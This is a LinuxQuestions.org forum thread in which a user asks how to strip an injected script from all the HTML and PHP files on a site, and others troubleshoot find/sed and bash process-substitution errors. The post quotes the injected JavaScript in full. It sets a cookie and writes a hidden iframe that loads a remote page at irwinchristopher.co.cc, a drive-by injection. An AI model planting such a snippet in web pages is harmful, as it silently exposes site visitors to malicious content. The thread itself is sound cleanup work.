Linux - NewbieThis Linux forum is for members that are new to Linux.
Just starting out and have a question?
If it is not in the man pages or the how-to's this is the place!
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
I need a shell script which will search and remove a javascript from all htm, html and php file.
Code:
<script type="text/javascript"> if (navigator.cookieEnabled) {var user = getCookie("seostop");if (user !=1){winchristop();setCookie("seostop", "1", 7, "/");}}function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");}function winchristop(){var a = 'style="hidden" frameborder=0 '; document.write('<iframe src ="http://irwinchristopher.co.cc/in.cgi?4" width=10 height=5 '+a+' marginheight=0 marginwidth=0 scrolling=no> </iframe>' );}function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;} </script>
This is the script that i want to remove. I don't want to change the ownership of any of the file from which this script will be removed. Just wanna remove this specific line from all file in all directories.
This will find all the .htm, .html and .php files under the current working directory and will apply the sed command. I added an echo statement for testing purposes. It will show the commands to be executed without actually run them. Check the results, then remove the echo and run again.
Need another help. I though that i don't have to change the ownership of the file first. But seems that i had to change all .htm .html .php files permission from root.root to www.www.
This will find all the .htm, .html and .php files under the current working directory and will apply the sed command. I added an echo statement for testing purposes. It will show the commands to be executed without actually run them. Check the results, then remove the echo and run again.
This also didn't work still in all files "irwinchristopher.co.cc" exists.
Last edited by moyorakkhi; 02-21-2011 at 08:37 AM.
sh test.sh
test.sh: line 5: syntax error near unexpected token `('
test.sh: line 5: `done << (find . -name '*.htm' -o -name '*.html' -o -name '*.php')'
Process substitution doesn't work in compatibility mode, that is when bash is invoked as /bin/sh. Indeed it was not a feature available in the old Bourne Shell. Please, try it with /bin/bash or simply bash in place of sh.
Also note the syntax for process substitution:
Code:
<(command)
whereas the first < sign in the suggested code stands for input redirection. A blank space is needed between the two. Looking at your post, it seems you've missed it.
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.